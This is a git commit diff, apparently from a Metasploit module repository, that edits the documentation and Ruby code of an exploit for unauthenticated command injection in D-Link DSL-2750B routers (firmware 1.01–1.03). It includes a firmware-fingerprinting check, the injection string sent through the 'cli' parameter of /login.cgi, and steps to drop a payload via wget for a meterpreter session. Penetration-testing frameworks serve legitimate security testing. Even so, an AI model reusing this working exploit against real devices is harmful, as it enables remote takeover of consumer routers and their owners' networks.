Fixing documentation, improving exploits code
parent
8dd7a27f7b
commit
6ae55aadd4
|
@ -1,7 +1,9 @@
|
|||
## Description
|
||||
|
||||
This module dlink_dsl2750b_exec_noauth exploits unauthenticated command injection vulnerability through "cli" parameter.
|
||||
Vulnerable firmwares are 1.01 up to 1.03.
|
||||
|
||||
## Vulnerable Application
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do : `use exploit/linux/http/dlink_dsl2750b_exec_noauth`
|
||||
|
@ -11,7 +13,7 @@ Vulnerable firmwares are 1.01 up to 1.03.
|
|||
6. If router is vulnerable, payload should be dropped via wget method and executed giving us meterpreter session
|
||||
|
||||
|
||||
## Example
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/dlink_dsl2750b_exec_noauth
|
||||
|
|
|
@ -51,53 +51,47 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/ayefeaturesconvert.js'
|
||||
})
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/ayefeaturesconvert.js'
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error('Connection failed')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.code.to_i == 200 && res.body.include?('DSL-2750')
|
||||
vprint_status('Remote host is not a DSL-2750')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
if res.body =~ /var AYECOM_FWVER="(\d.\d+)";/
|
||||
version = $1
|
||||
vprint_status("Remote host is a DSL-2750B with firmware version #{version}")
|
||||
if version >= "1.01" and version <= "1.03"
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
rescue ::Rex::ConnectionError
|
||||
unless res
|
||||
vprint_error('Connection failed')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.code.to_i == 200 && res.body.include?('DSL-2750')
|
||||
vprint_status('Remote host is not a DSL-2750')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
if res.body =~ /var AYECOM_FWVER="(\d.\d+)";/
|
||||
version = $1
|
||||
vprint_status("Remote host is a DSL-2750B with firmware version #{version}")
|
||||
if version >= "1.01" and version <= "1.03"
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error('Connection failed')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
begin
|
||||
payload = Rex::Text.uri_encode("multilingual show';#{cmd}'")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/login.cgi',
|
||||
'vars_get' => {
|
||||
'cli' => "#{payload}$"
|
||||
},
|
||||
'encode_params' => false
|
||||
}, 5)
|
||||
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} Failed to connect to the web server")
|
||||
end
|
||||
payload = Rex::Text.uri_encode("multilingual show';#{cmd}'")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/login.cgi',
|
||||
'vars_get' => {
|
||||
'cli' => "#{payload}$"
|
||||
},
|
||||
'encode_params' => false
|
||||
}, 5)
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} Failed to connect to the web server")
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
Loading…
Reference in New Issue